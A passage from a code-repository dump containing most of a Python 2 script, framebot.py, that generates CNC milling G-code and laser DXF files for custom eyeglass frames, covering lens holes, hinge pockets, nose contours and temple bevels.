assembled.\n4. The Y axis (X=0) of the **face** hinge is the location of the exposed face of the temple hinge when the hinge is at 90 degrees, i.e. open. (This assumption might be revisited if we add hinges that are open at 180 degrees and closed at 90 degrees.)\n5. The Y axis (X=0) of the **temple** hinge is the exposed face of the face hinge when the hinge is open, i.e. at 90 degrees. As a consequence of modelling the right hinge that means the entire temple hinge has its X coordinates < 0.\n" }, { "alpha_fraction": 0.5956105589866638, "alphanum_fraction": 0.6221970915794373, "avg_line_length": 38.46713638305664, "blob_id": "166d533650a882f4afcc2903cc579db57044bb72", "content_id": "f394486fa21c8e87dac58ba47c295c4a55fc58d3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 50439, "license_type": "no_license", "max_line_length": 137, "num_lines": 1278, "path": "/src/framebot.py", "repo_name": "guildeyewear/framebot2", "src_encoding": "UTF-8", "text": "from dxfwrite import DXFEngine as dxf\nimport json\nfrom optparse import OptionParser\nimport os\nimport sys\nimport poly\nimport cam\nimport hinges\nimport math\nimport nose\nimport geometry as g\nimport datetime\n\ndef log(message):\n sys.stdout.write(message + \"\\n\")\n\ndef main():\n \"\"\"Run as a command line program.\"\"\"\n parser = OptionParser()\n parser.add_option(\"-i\", \"--infile\", dest=\"infile\",\n help=\"read specification from INFILE\", metavar=\"INFILE\")\n parser.add_option(\"-o\", \"--out\", dest=\"outname\",\n help=\"Name of output director\", metavar=\"OUTDIR\")\n parser.add_option(\"-u\", \"--url\", dest=\"url\",\n help=\"read specification from URL\", metavar=\"URL\")\n (options, args) = parser.parse_args()\n if options.infile == None and options.url == None:\n log(\"Insufficient arguments.\")\n parser.print_help()\n sys.exit(0)\n infile = open(options.infile) if options.infile else urllib.urlopen(options.url)\n o = json.loads(infile.read())\n\n# if o[\"usersizes\"]:\n# # This is a legacy order - we need to scale the temples because\n# # it hasn't been done already.\n# templescale = float(o[\"usersizes\"][\"temple_length\"]) / 100.0\n# temp = o[\"ltemple_con\"]\n# hinge = o[\"lhinge\"]\n# for i in range(1, len(temp)-2):\n# temp[i][0] = temp[i][0] * templescale;\n\n order_id = o.get(\"order_id\") or \"testorder\"\n # outname = datetime.date.today().isoformat() + \"/\" + order_id\n# if options.outname == None:\n# print \"extracting out name from \", options.infile\n# outname = options.infile.split(\"/\")[-1]\n# outname = outname.split(\".\")[0]\n# outname = datetime.date.today().isoformat() + \"/\" + outname\n# print \"out file is \", outname\n# else:\n# outname = options.outname\n # Create the output director\n #order_dir = \"/Users/rodfrey/Dropbox/guild_orders/\" + outname\n #order_dir = \"/Volumes/Untitled/\" + outname\n # order_dir = \"/Users/ana0/Development/framebot2/\" + outname\n order_dir = options.outname\n if not os.path.exists(order_dir):\n os.makedirs(order_dir)\n print 'Created dir', order_dir\n else:\n for i in range(1, 101):\n candidate = order_dir + \"_\" + str(i)\n print 'checking directory', candidate\n if i == 100:\n print 'Too many directories! Could not create order directory'\n sys.exit(1)\n if not os.path.exists(candidate):\n order_dir = candidate\n os.makedirs(order_dir)\n print \"Created dir\", order_dir\n break\n\n\n\n # Create the milling program for the lens holes/groove, hinge pockets, etc.\n # and the dxf for the laser for the fronts\n mill_fronts(order_dir, o)\n laser_face = o['face_con']\n laser_face = laser_face + poly.reverse(poly.mirror_x(laser_face, False))[1:]\n\n # Rearrange the face curve a bit so the laser starts outside the curve.\n # Otherwise it leaves a little scar where it starts.\n laser_face = poly.new_start(laser_face, poly.leftmost_index(laser_face))\n laser_face.append(laser_face[0]) # Close the curve\n\n first_vector = [laser_face[1][0]-laser_face[0][0], laser_face[1][1]-laser_face[0][1]]\n unit = math.sqrt(first_vector[0]**2 + first_vector[1]**2)\n leadin_vector = [(4*first_vector[0])/unit,(4*first_vector[1])/unit]\n leadin_start = [laser_face[0][0] - leadin_vector[0], laser_face[0][1] - leadin_vector[1]]\n\n last_vector = [laser_face[-2][0]-laser_face[-1][0], laser_face[-2][1]-laser_face[-1][1]]\n unit = math.sqrt(last_vector[0]**2 + last_vector[1]**2)\n leadout_vector = [(4*last_vector[0])/unit,(4*last_vector[1])/unit]\n leadout_end = [laser_face[-1][0] + leadout_vector[0], laser_face[-1][1] + leadout_vector[1]]\n\n# laser_face.insert(0, leadin_start)\n create_dxf(order_dir + \"/face_contour.dxf\", [laser_face], close=False)\n\n# temple_dxf(o, order_dir + \"/left_temple.dxf\", 1, False)\n# temple_dxf(o, order_dir + \"/right_temple.dxf\", 1, True)\n\n\n # Arrange the temples to fit on the stock\n temples = arrange_temple_curves(o['ltemple_con'], o.get('lhinge') or 1)\n left_hinge = poly.rotate_90(temples['left_hinge_contour'])\n right_hinge = poly.rotate_90(temples['right_hinge_contour'])\n#\n l_temple = poly.rotate_90(temples['left_temple_contour']);\n r_temple = poly.rotate_90(temples['right_temple_contour']);\n#\n create_dxf(order_dir + \"/temple_contour.dxf\",\n [poly.rotate_90(temples['left_temple_contour']),\n poly.rotate_90(temples['right_temple_contour'])[::-1],\n# left_hinge,\n# right_hinge,\n ],\n close_with_arc=False,\n close=False)\n\n mill_temples(order_dir, temples, o)\n\n# mill_lenses(order_dir, o)\n\n\ndef mill_lenses(outdir, order):\n def to_polar(polyline):\n return [[-math.sqrt(p[0]**2 + p[1]**2), math.degrees(math.atan2(p[1],p[0])) + 180] for p in polyline]\n\n \"\"\" Creates g-code for milling the left and right lenses for the frames.\"\"\"\n lens = g.Polygon(order['lhole_con'])\n x = lens.bounding_box()\n box = lens.bounding_box()\n center = g.Point((box.p2.x+box.p1.x)/2, (box.p2.y+box.p1.y)/2)\n shift_to_origin = g.Vector(-center.x, -center.y)\n lens = g.translate_polygon(lens, shift_to_origin)\n polar = g.polygon_to_uniform_polar(lens, 1500)\n\n # Inflate the polar form by 1/2 the diameter of the cutter, and convert\n # the angles to degrees\n tau = math.pi * 2\n conv = 360/tau\n roughing = [(pt.theta*conv, pt.r+4.77) for pt in polar]\n\n # Expand for the roughing cut\n# left_lens_rough = poly.dilate(4.77, left_lens)\n # Convert to polar coordinates\n# left_lens_roughing_polar = to_polar(left_lens_rough)\n # Start the cut from 0 degrees\n# angle_list = [p[1] for p in left_lens_roughing_polar]\n# zero_idx = angle_list.index(min(angle_list))\n# left_lens_roughing_polar = left_lens_roughing_polar[zero_idx:] + left_lens_roughing_polar[:zero_idx]\n # Cut it down to every 0.2 degrees\n# coarse = []\n# for idx, pt in enumerate(left_lens_roughing_polar):\n# if idx == 0 or (pt[1]-coarse[-1][1]) >= 0.2:\n# coarse.append(pt)\n\n # The polar distances aren't correct quite. That's because the conversion assumed a flat\n # surface, but we'll actually be bending that contour around a sphere. The lens is already\n # spherical. So we need to adjust inwards a bit to account for the x distance actually being an arc\n # distance.\n\n # The radius of the sphere is 88mm (base 6 lens). ArcLength = Radius * angle, and chord\n # length is sin(angle) * radius.\n roughing = [(p[0], math.sin(-p[1]/88) * 88) for p in roughing]\n roughing.sort(key=lambda pt: pt[0])\n closest = max([p[1] for p in roughing])\n if abs(closest) < 22.5:\n print \"Error! Cannot cut lens, it's too small.\", closest\n\n roughing_reversed = [[-1*(math.degrees(-math.radians(p[1]))+360), p[1]] for p in roughing]\n\n program = [\n cam.setup(),\n cam.select_fixture(\"lens_clamp\"),\n cam.retract_spindle(),\n cam.change_tool(\"1/4in endmill\"),\n cam.start_spindle(20000),\n cam.rapid([-50, 0]),\n [\"G1 Z0 F500\"],\n cam.polar_contour(roughing),\n [\"G1 X-50\"],\n [\"G1 A0\"],\n cam.stop_spindle(),\n cam.retract_spindle(),\n cam.end_program(),\n ]\n open(outdir + \"/left_lens.ngc\", \"w\").write(to_string(program))\n program = [\n cam.setup(),\n cam.select_fixture(\"lens_clamp\"),\n cam.retract_spindle(),\n cam.change_tool(\"1/4in endmill\"),\n cam.start_spindle(20000),\n cam.rapid([-50, 0]),\n [\"G1 Z0 F500\"],\n cam.polar_contour(roughing_reversed),\n [\"G1 X-50\"],\n [\"G1 A0\"],\n cam.stop_spindle(),\n cam.retract_spindle(),\n cam.end_program(),\n ]\n open(outdir + \"/right_lens.ngc\", \"w\").write(to_string(program))\n\n\n\n\n\ndef mill_fronts(outdir, order):\n \"\"\"Creates the g-code for the first milling operation. The\n first milling operation is done on an unregistered plastic blank,\n so includes creating registration holes for subsequent operations.\"\"\"\n\n# Initial thickness of the forward-facing lamination. 0 if no lamination.\n top_thickness = 6\n bottom_thickness = 0\n top_raw = 6\n bottom_raw = 0\n if order.get(\"face_material\"):\n top_thickness = order[\"face_material\"].get(\"top_thickness\")\n bottom_thickness = order[\"face_material\"].get(\"bottom_thickness\") or 0\n top_raw = order[\"face_material\"].get(\"top_raw_thickness\") or top_thickness\n bottom_raw = order[\"face_material\"].get(\"bottom_raw_thickness\") or bottom_thickness\n frame_thickness = top_thickness + bottom_thickness\n machining_z_offset = bottom_raw - bottom_thickness\n\n# top_thickness = 6\n# bottom_thickness = 0\n# total_thickness = 6\n# top_raw = 0\n\n\n # Automatically determine some surfacing. The bottom thickness\n # is a lamination and should be thin. It should be thinned to 1mm.\n # The top should be thinned to bring total finished thickness to 6mm or less.\n thin_back = 0\n if bottom_raw > bottom_thickness:\n thin_back = bottom_raw - bottom_thickness\n thin_front = 0\n if top_raw > top_thickness:\n thin_front = top_raw - top_thickness\n\n\n# The machine has the stock clamp oriented 90 degrees to the way the\n# software creates the contours.\n face_c = poly.rotate_90(order[\"face_con\"])\n left_lens_c = poly.rotate_90(order[\"lhole_con\"])\n right_lens_c = poly.mirror_y(left_lens_c, True)\n face_c = face_c + poly.reverse(poly.mirror_y(face_c, False))[1:]\n\n temple_height = abs(order[\"ltemple_con\"][0][1] - order[\"ltemple_con\"][-1][1])\n\n msg = check_frame_size(left_lens_c)\n if msg:\n print msg\n sys.exit(1)\n# Instead of offset, we'll make sure this thing is centered on the stock\n offset = frame_offset(face_c)\n top = poly.top(face_c)\n bottom = poly.bottom(face_c)\n left = poly.left(face_c)\n right = poly.right(face_c)\n\n print 'frame bounding box: ', top, bottom, left, right\n y_shift = (top + bottom)/2\n x_shift = (left + right)/2\n\n print 'x and y shift', x_shift, y_shift\n face_c = poly.translate(face_c, -x_shift, -y_shift)\n left_lens_c = poly.translate(left_lens_c, -x_shift, -y_shift)\n right_lens_c = poly.translate(right_lens_c, -x_shift, -y_shift)\n\n# Groove for lenses is 2/3 of the distance from back to front.\n# Here we're calculating the actual cutting depth so we need to add\n# back the material that we surfaced away from the back.\n groove_depth = -(float(machining_z_offset) + (2.0/3)*float(frame_thickness))\n hinge_loc = order[\"ltemple_con\"][0][1] - (order[\"ltemple_con\"][0][1] - order[\"ltemple_con\"][-1][1])/2\n\n size_info = order.get('size_info')\n if not size_info and order.get('usersizes'):\n # Legacy order\n size_info = order.get('usersizes')\n size_info[\"noseradius\"] = size_info[\"nose_radius\"]\n size_info[\"noseheight\"] = size_info[\"nose_height\"]\n size_info[\"splayangle\"] = size_info[\"nose_splayangle\"]\n size_info[\"ridgeangle\"] = size_info[\"nose_ridgeangle\"]\n\n generic = not size_info or len(size_info) == 0\n\n generic = True # TESTING\n\n program = [\n cam.setup(),\n cam.select_fixture(\"blank_clamp\"),\n cam.retract_spindle(),\n cam.activate_pin(\"stock_clamp\"),\n cam.rapid([0,0]),\n surface_front(thin_front),\n surface_back(thin_back),\n\n cam.change_tool(\"1/8in endmill\"),\n cam.rapid([0, 0]),\n\n # Note that X and Y parameters in the order are switched from our system\n #TODO: replace the thickness offset with the thickness of the TEMPLE, not the fronts.\n index_holes(frame_thickness+machining_z_offset),\n lens_holes(left_lens_c, right_lens_c, frame_thickness + machining_z_offset),\n lens_groove(left_lens_c, right_lens_c, groove_depth),\n\n# rough_nose_contour(\n# float(size_info[\"noseradius\"]),\n# float(size_info[\"noseheight\"]),\n# float(size_info[\"splayangle\"]),\n# float(size_info[\"ridgeangle\"]),\n# face_c, frame_thickness, machining_z_offset, -x_shift ),\n\n\n face_hinge_pockets(order.get(\"lhinge\") or 1, hinge_loc, order[\"ltemple_x\"], (-x_shift, -y_shift), machining_z_offset),\n\n #nose_pads(order, thickness),\n nose_contour(\n float(size_info[\"noseradius\"]),\n float(size_info[\"noseheight\"]),\n float(size_info[\"splayangle\"]),\n float(size_info[\"ridgeangle\"]),\n face_c, frame_thickness, machining_z_offset, -x_shift ),\n\n# nose_contour(\n# 7.0, 8.0, 30.0, 32.0, face_c, frame_thickness, machining_z_offset, -x_shift),\n\n #generic_nose_contour(face_c, frame_thickness, machining_z_offset, -x_shift),\n\n\n cam.retract_spindle(),\n cam.deactivate_pin(\"stock_clamp\"),\n cam.change_tool(\"1/8in endmill\"),\n # cam.rapid([face_c[0][0], face_c[0][1], -thin_back] ),\n # cam.contour(face_c, True),\n cam.end_program(),\n ]\n print 'Writing face milling program to ', outdir + \"/face_stange1.ngc\"\n open(outdir + \"/face_stage1.ngc\", \"w\").write(to_string(program))\n\ndef generic_nose_contour(face_con, thickness, thin_back, centering_shift):\n \"\"\" Use the tapered endmill to create a nose relief along the curve of the\n glasses frame.\n First construct a path that is a simple, average shape for a nose: 8 mm nose radius, 34 degree\n splay. Compare the curve to the spline of the glasses, if the spline crosses our naive curve, follow\n the glasses curve until it crosses the naive curve again, then keep following the naive curve.\n \"\"\"\n curve_offset = 0 # Set so tapered endmill cuts about 1mm from front face of frame\n nose_sa = math.radians(34) # Experiment with this\n nose_rad = 9\n xfloor = -26 # set to avoid hitting clamp\n nose_height = 8 # again, experiment\n naive_poly = nose.nose_poly(nose_rad, nose_height, nose_sa, nose_sa, xfloor, curve_offset, 0)\n # close it\n #naive_poly = naive_poly + [naive_poly[0]]\n\n\n intersect = poly.difference(naive_poly, face_con)\n intersect = intersect[1:] + [intersect[0]]\n eroded = poly.erode(2, intersect)[0]\n finish = poly.erode(1.5, intersect)[0]\n\n hole_radius = 4.85/2 # Measured from dowel pin\n tool_radius = 3.175/2\n helix_radius = hole_radius - tool_radius\n\n\n return [\n cam.change_tool(\"tapered\"),\n cam.start_spindle(20000),\n cam.feedrate(1000),\n cam.rmh(eroded[0] + [-thickness - 1.0], helix_radius, 0.5, 1),\n cam.contour(eroded, False),\n cam.contour(finish[::-1], False),\n ]\n\ndef rough_nose_contour(nose_rad, nose_h, nose_sa, nose_ra, face_con, thickness, thin_back, centering_shift):\n sa = math.radians(nose_sa)\n ra = math.radians(nose_ra)\n h = nose_h + centering_shift\n h = nose_h\n xfloor = poly.left(face_con) - 3.175 # bottom most point minus tool radius\n xfloor = max(xfloor, -27.0) # miminum safe distance without hitting clamp\n cutter_offset = 1.5875 # radius of 1/8\" cutter\n\n nosepoly = nose.nose_poly(nose_rad, h, sa, ra, xfloor, cutter_offset, thickness+thin_back)\n\n return [\n \"(Rough nose contour)\",\n cam.change_tool(\"1/8in endmill\"),\n cam.start_spindle(20000),\n cam.feedrate(2000),\n cam.rmp(nosepoly[0] + [1.0]),\n cam.rmh([0, 85.00, -thickness - 1.0], helix_radius, 0.5, 1),\n ]\n\ndef nose_contour(nose_rad, nose_h, nose_sa, nose_ra, face_con, thickness, thin_back, centering_shift):\n \"\"\"Creates the nose contour feature toolpath. Angular arguments are in degrees.\"\"\"#\n print 'Generating nose contour'\n nr = nose_rad\n nose_tool_radius = 3.175\n\n # We're cutting with a ball-end mill. Where it actually cuts is dependent on the\n # ridge angle. If you draw a line at the ridge angle and put it tangent to the ball mill,\n # that is the cutting line. The angle between the center of the ball mill and the intersection\n # of the cutting line and the surface is 1/2 of the ridge angle. From that and the radius\n # of the ball mill we can figure out the offset.\n cutter_offset = (nose_tool_radius)*math.tan(math.radians(nose_ra/2))\n\n sa = math.radians(nose_sa)\n ra = math.radians(nose_ra)\n h = nose_h + centering_shift\n print 'centering shift', centering_shift\n# h = nose_h\n\n xfloor = poly.left(face_con) - 3.175 # bottom most point minus tool radius\n xfloor = max(xfloor, -27.0) # miminum safe distance without hitting clamp\n\n z_depth = -thin_back # Start a bit above the surface of the glasses\n nextpoly = nose.nose_poly(nr, h, sa, ra, xfloor, cutter_offset, z_depth)\n\n r = [\n \"(Nose Contour)\",\n cam.change_tool(\"1/4in ballmill\"),\n cam.start_spindle(20000),\n cam.feedrate(4000),\n cam.rmp(nextpoly[0] + [2.0]), # Start near our first contour\n ]\n\n direction = 1\n\n z_start = int((z_depth)*10) # We have to use integers for the range, also step in 1/10 mm steps\n\n for i in range(-z_start, int(((thickness)+3)*10)):\n z = -i/10.0\n# r += cam.move(nextpoly[0])\n if(direction < 0):\n nextpoly.reverse()\n direction = direction * -1\n r += cam.move([None, None, z-thin_back]) # Z adjusted for any surfacing that happened\n r += cam.contour(nextpoly, False)\n nextpoly = nose.nose_poly(nr, h, sa, ra, xfloor, cutter_offset, z)\n return r\n\ndef mill_temples(outdir, temples, order):\n#TODO: Replace with information in materials database\n print 'Creating milling program for temples'\n top_thickness = 4 # Assume 4mm temple\n top_raw = 4\n if order.get(\"temple_material\"):\n top_raw = order[\"temple_material\"].get(\"top_raw_thickness\") or order[\"temple_material\"].get(\"top_thickness\") or top_thickness\n\n print 'top raw', top_raw\n\n # Automatically determine some surfacing. The bottom thickness\n # is a lamination and should be thin. It should be thinned to 1mm.\n # The top should be thinned to bring total finished thickness to 6mm or less.\n thin_back = 0\n if top_raw > top_thickness:\n thin_back = top_raw - top_thickness\n\n l_temple = temples['left_temple_contour']\n r_temple = temples['right_temple_contour']\n offset = frame_offset(l_temple)\n\n# Calculate entry points for bevelling operation\n program = [\n cam.setup(),\n cam.select_fixture(\"blank_clamp\"),\n cam.retract_spindle(),\n cam.rapid([0,0]),\n cam.activate_pin(\"stock_clamp\"),\n surface_back(thin_back),\n index_holes(top_raw),\n\n\n# cam.rapid(l_temple[0]+[0]),\n# cam.contour(l_temple, True),\n# cam.move(l_temple[0]),\n# cam.rapid(r_temple[0]),\n# cam.contour(r_temple, True),\n\n rough_temple_bevel(l_temple, thin_back),\n rough_temple_bevel(r_temple, thin_back),\n cam.change_tool(\"1/16in endmill\"),\n cam.rapid([0,0]),\n temple_hinge_pockets(temples, thin_back),\n cam.change_tool(\"dovetail\"),\n bevel_temple(l_temple, thin_back),\n bevel_temple(r_temple, thin_back),\n temple_hinge_clearance(l_temple, thin_back),\n temple_hinge_clearance(r_temple, thin_back),\n cam.retract_spindle(),\n cam.deactivate_pin(\"stock_clamp\"),\n cam.change_tool(\"1/8in endmill\"),\n cam.end_program()\n ]\n open(outdir + \"/temples_milling.ngc\", \"w\").write(to_string(program))\n\ndef extendLine(p1, p2, distance):\n lineLen = math.sqrt((p2[0]-p1[0])**2 + (p2[1]-p1[1])**2)\n return [\n p1[0] + distance * ((p1[0]-p2[0])/lineLen),\n p1[1] + distance * ((p1[1]-p2[1])/lineLen)\n ]\n\ndef bevel_temple(temple, thinning):\n # Assume a 20 degree dovetail cutter, cutting 5mm from bottom\n dovetail_offset = 9.52/2 - 1.82\n\n entry = extendLine(temple[-1], temple[-2], 7.5)\n # Endpoints for the undercut\n p1 = extendLine(temple[-1], temple[-2], dovetail_offset)\n p2 = extendLine(temple[0], temple[1], dovetail_offset)\n p2 = extendLine(p2, p1, 2)\n\n return [\n cam.change_tool(\"dovetail\"),\n cam.feedrate(750),\n cam.start_spindle(20000),\n cam.rmp(entry + [-5-thinning]),\n cam.move(p1),\n cam.move(p2),\n cam.move(entry),\n cam.move(entry + [10]),\n ]\n\ndef temple_hinge_clearance(temple, thinning):\n # Endpoints for the top bevel\n entry = extendLine(temple[-1], temple[-2], 7.5)\n p1 = extendLine(temple[0], temple[-1], 1)\n p2 = extendLine(temple[-1], temple[0], 1)\n return [\n cam.change_tool(\"engraver\"),\n cam.feedrate(750),\n cam.start_spindle(20000),\n cam.rmp(entry + [-2 - thinning]),\n cam.move(p1),\n cam.move(p2),\n cam.move(entry),\n cam.move(entry + [10]),\n ]\n\n\n\n\ndef rough_temple_bevel(temple, thinning):\n p1 = extendLine(temple[-1], temple[-2], 3.175/2 - 0.5)\n p2 = extendLine(temple[0], temple[1], 3.175/2 - 0.5)\n p3 = extendLine(temple[0], temple[1], 15)\n p4 = extendLine(temple[-1], temple[-2], 15) # room for dovetail\n# p1 and p2 are just extensions of the temple - move them to the side a bit to\n# clearance for when the dovetail cutter comes through\n p1 = extendLine(p1, p2, 3)\n p2 = extendLine(p2, p1, 3)\n p3 = extendLine(p3, p4, 3)\n p4 = extendLine(p4, p3, 3)\n\n\n# Move to the dovetail cutter entry point, helix through stock.\n# Cut a circle big enough to admit the dovetail cutter.\n# Rough cut the end of the temple\n# Clear a return path for the dovetail cutter.\n return [\n cam.change_tool(\"1/8in endmill\"),\n cam.feedrate(1000),\n cam.rmh(p4 + [-5-thinning], 1, pitch=1),\n cam.move(p1),\n cam.move(p2),\n cam.move(p3),\n cam.move(p4),\n cam.rapid(p4 + [10])\n ]\n\n\ndef surface_front(amount):\n if amount < 0.1:\n print 'Not surfacing front, returning'\n return None\n print \"Surfacing front with amount\", amount\n surface_amount = min(amount, 4)\n surface_heights = []\n while surface_amount <= amount:\n surface_heights.append(surface_amount)\n surface_amount = max(surface_amount+2, amount)\n print \"surface amounts\", surface_heights\n\n program = [\n cam.comment(\"Surface front by %f mm\" % amount),\n cam.flip_stock(),\n cam.change_tool(\"3/8in endmill\"),\n cam.spindle_speed(20000),\n cam.feedrate(2000),\n cam.start_spindle(),]\n for height in surface_heights:\n program = program + cam.surface_along_y(-40, -110, 40, 110, 4.7625, -height)\n program = program + [\n cam.stop_spindle(),\n cam.retract_spindle(),\n cam.flip_stock(),\n ]\n return program\n\ndef surface_back(amount):\n if amount < 0.1:\n return None\n\n print 'surfacing back with', amount\n surface_amount = min(amount, 4)\n surface_heights = []\n while surface_amount <= amount:\n surface_heights.append(surface_amount);\n print surface_heights\n surface_amount = max(surface_amount+2, amount)\n print \"surface amounts on back\", surface_heights\n\n\n return [\n cam.comment(\"Surface back by %f mm\" % amount),\n cam.change_tool(\"3/8in endmill\"),\n cam.spindle_speed(15000),\n cam.feedrate(1500),\n cam.start_spindle(),\n cam.dwell(5),\n cam.surface_along_y(-40, -110, 40, 110, 4.7625, -amount),\n cam.rapid([None, None, 20]),\n ] if amount > 0 else None\n program = [\n cam.comment(\"Surface back by %f mm\" % amount),\n cam.change_tool(\"3/8in endmill\"),\n cam.spindle_speed(20000),\n cam.feedrate(2000),\n cam.start_spindle(),\n cam.dwell(5),\n ]\n for height in surface_heights:\n program = program + cam.surface_along_y(-40, -110, 40, 110, 4.7625, -height),\n program = program + [\n cam.stop_spindle(),\n cam.retract_spindle(),\n ]\n return program\n\n\ndef face_hinge_pockets(hinge_num, hinge_height, temple_position, centering_shift, thin_back):\n\n print 'Generating face hinge pockets', hinge_num\n xposition = hinge_height;\n yposition = temple_position+3.0; # 4mm for the temple, but less 1mm for temple hinge pocket\n print 'Position is ', xposition, yposition\n left_hinge = hinges.get_hinge(hinge_num)\n print 'Got left hinge'\n right_hinge = hinges.get_hinge(hinge_num, False)\n print 'Retrieved hinge contours'\n left_translate = [xposition, yposition]\n right_translate = [xposition, -yposition]\n print 'Calculated hinge translations'\n #right_translate = [xposition, 0]\n # Adjust by pocket depth of hinge\n #pocket_depth = left_hinge['pocket_depth']+thin_back\n\n pocket_depth = 1 + thin_back\n drill_depth = -thin_back - 2.0\n\n left_contour = poly.mirror_x(poly.rotate_90(left_hinge[\"face_contour\"]), False)\n right_contour = poly.mirror_x(poly.rotate_90(right_hinge[\"face_contour\"]), False)\n left_holes = poly.mirror_x(poly.rotate_90(left_hinge[\"face_holes\"]), False)\n right_holes = poly.mirror_x(poly.rotate_90(right_hinge[\"face_holes\"]), False)\n left_contour = poly.translate(left_contour, left_translate[0], -left_translate[1])\n right_contour = poly.translate(right_contour, right_translate[0], -right_translate[1])\n left_holes = poly.translate(left_holes, left_translate[0], -left_translate[1])\n right_holes = poly.translate(right_holes, right_translate[0], -right_translate[1])\n\n # Now center everything on the stock\n left_contour = poly.translate(left_contour, centering_shift[0], -centering_shift[1])\n right_contour = poly.translate(right_contour, centering_shift[0], -centering_shift[1])\n left_holes = poly.translate(left_holes, centering_shift[0], -centering_shift[1])\n right_holes = poly.translate(right_holes, centering_shift[0], -centering_shift[1])\n\n if not poly.is_ccw(left_contour):\n left_contour = poly.reverse(left_contour)\n if not poly.is_ccw(right_contour):\n right_contour = poly.reverse(right_contour)\n\n left_hinge_pocket_contours = [];\n while len(left_contour) > 0:\n left_contour = poly.erode(1.5875/2, left_contour)\n if len(left_contour) > 0:\n left_contour = left_contour[0]\n left_hinge_pocket_contours.append(left_contour)\n\n right_hinge_pocket_contours = [];\n while len(right_contour) > 0:\n right_contour = poly.erode(1.5875/2, right_contour)\n if len(right_contour) > 0:\n right_contour = right_contour[0]\n right_hinge_pocket_contours.append(right_contour)\n r = [\n cam.comment(\"Hinge Pockets\"),\n cam.feedrate(750),\n cam.change_tool(\"1/16in endmill\"),\n cam.start_spindle(20000),\n cam.dwell(3),\n cam.comment(\"Right Hinge Pocket\"),\n cam.pocket(right_hinge_pocket_contours, -abs(pocket_depth), retract=-abs(pocket_depth)),\n cam.rapid([None, None, 20.0]),\n cam.comment(\"Left Hinge Pocket\"),\n cam.pocket(left_hinge_pocket_contours, -abs(pocket_depth), retract=-abs(pocket_depth)),\n cam.rapid([None, None, 20.0]),\n cam.comment(\"Hinge Holes\"),\n cam.change_tool(\"1mm drill\"),\n cam.start_spindle(5000),\n cam.dwell(2),\n [cam.rmp(p + [drill_depth], retract=10.0) for p in right_holes],\n [cam.rmp(p + [drill_depth], retract=10.0) for p in left_holes],\n cam.rapid([None, None, 20.0]),\n ]\n return r\n\ndef bevel_temple_ends(path1, path2, thinning):\n depth = -4 - thinning\n# Assume a 14 degree dovetail cutter, cutting 5mm from bottom\n dovetail_offset = 12.35/2 - 1.25\n return [\n cam.comment(\"Bevel temple ends\"),\n cam.change_tool(\"dovetail\"),\n cam.start_spindle(20000),\n cam.feedrate(750),\n cam.rapid(path1[0]),\n cam.rapid([None, None, depth]),\n cam.move(path1[1]),\n cam.move(path1[2]),\n cam.move(path1[0]),\n cam.rapid([None, None, 10]),\n cam.rapid(path2[0]),\n cam.rapid([None, None, depth]),\n cam.move(path2[1]),\n cam.move(path2[2]),\n cam.move(path2[0]),\n cam.move([None, None, 20])\n ]\n\ndef temple_hinge_pockets(temples, thinned):\n # We're operating in a 90 degree rotated fixture\n #l_hinge = poly.rotate_90(temples[\"left_hinge_contour\"])\n #r_hinge = poly.rotate_90(temples[\"right_hinge_contour\"])\n print 'Generating temple hinge pockets'\n\n l_hinge = temples[\"left_hinge_contour\"]\n r_hinge = temples[\"right_hinge_contour\"]\n if not poly.is_ccw(l_hinge):\n l_hinge = poly.reverse(l_hinge)\n if not poly.is_ccw(r_hinge):\n r_hinge = poly.reverse(r_hinge)\n\n #pocket_depth = temples['pocket_depth'] + thinned\n pocket_depth = 1 + thinned;\n\n def pocket_contours(contour):\n contours = []\n erode = poly.erode(1.5875/2, contour)\n making_progress = True\n while len(erode) > 0 and making_progress:\n making_progress = False\n for path in erode:\n if len(path) > 5:\n making_progress = True\n contours.append(path)\n erode = poly.erode(1.5875/2, contours[-1])\n return contours\n\n left_hinge_pocket_contours = pocket_contours(l_hinge)\n right_hinge_pocket_contours = pocket_contours(r_hinge)\n# left_hinge_pocket_contours = [];\n# while len(l_hinge) > 0:\n# l_hinge = poly.erode(1.5875/2, l_hinge)\n# if len(l_hinge) > 0:\n# l_hinge = l_hinge[0]\n# left_hinge_pocket_contours.append(l_hinge)\n# right_hinge_pocket_contours = [];\n# while len(r_hinge) > 0:\n# r_hinge = poly.erode(1.5875/2, r_hinge)\n# if len(rhinge_) == 1:\n# right_hinge_pocket\n# if len(r_hinge) > 0:\n# r_hinge = r_hinge[0]\n# right_hinge_pocket_contours.append(r_hinge)\n r = [\n cam.comment(\"Hinge Pockets\"),\n cam.feedrate(750),\n cam.change_tool(\"1/16in endmill\"),\n cam.start_spindle(22000),\n cam.dwell(5),\n cam.comment(\"Right Hinge Pocket\"),\n cam.pocket(right_hinge_pocket_contours, -abs(pocket_depth), retract=0),\n cam.rapid([None, None, 20.0]),\n cam.comment(\"Left Hinge Pocket\"),\n cam.pocket(left_hinge_pocket_contours, -abs(pocket_depth), retract=0),\n cam.rapid([None, None, 20.0]),\n cam.comment(\"Hinge Holes\"),\n cam.change_tool(\"1mm drill\"),\n cam.start_spindle(5000),\n cam.dwell(2),\n [cam.rmp(p + [-8.0], retract=10.0) for p in temples['right_hinge_holes']],\n [cam.rmp(p + [-8.0], retract=10.0) for p in temples['left_hinge_holes']],\n cam.rapid([None, None, 20.0]),\n ]\n return r\n\n\n\ndef lens_groove(left_c, right_c, height):\n \"\"\"Generates the toolpath for the lens holes (holes, groove and tabs).\"\"\"\n print 'Generating lens grooves'\n if not poly.is_ccw(left_c):\n left_c = poly.reverse(left_c)\n if not poly.is_ccw(right_c):\n right_c = poly.reverse(right_c)\n\n lgroove = poly.erode(1.8, left_c)[0]\n rgroove = poly.erode(1.8, right_c)[0]\n\n left_entry = poly.erode(7.0, left_c)[0][0];\n right_entry = poly.erode(7.0, right_c)[0][0];\n r = [\n \"(Lens Grooves)\",\n cam.change_tool(\"vgroove\"),\n cam.start_spindle(20000),\n cam.dwell(5),\n cam.feedrate(2000),\n cam.rmp(right_entry + [height]),\n cam.contour(rgroove, True),\n cam.move(right_entry), # Get out from under the overhang\n cam.rmp(left_entry + [height]),\n cam.contour(lgroove, True),\n cam.move(left_entry), # Get out from under the overhang\n ]\n return r\n\n\ndef lens_holes(left_c, right_c, thickness):\n \"\"\"Generates the toolpath for the lens holes (holes, groove and tabs).\"\"\"\n print 'Calculating the lens holes'\n tool_radius = 3.175\n if not poly.is_ccw(left_c):\n left_c = poly.reverse(left_c)\n if not poly.is_ccw(right_c):\n right_c = 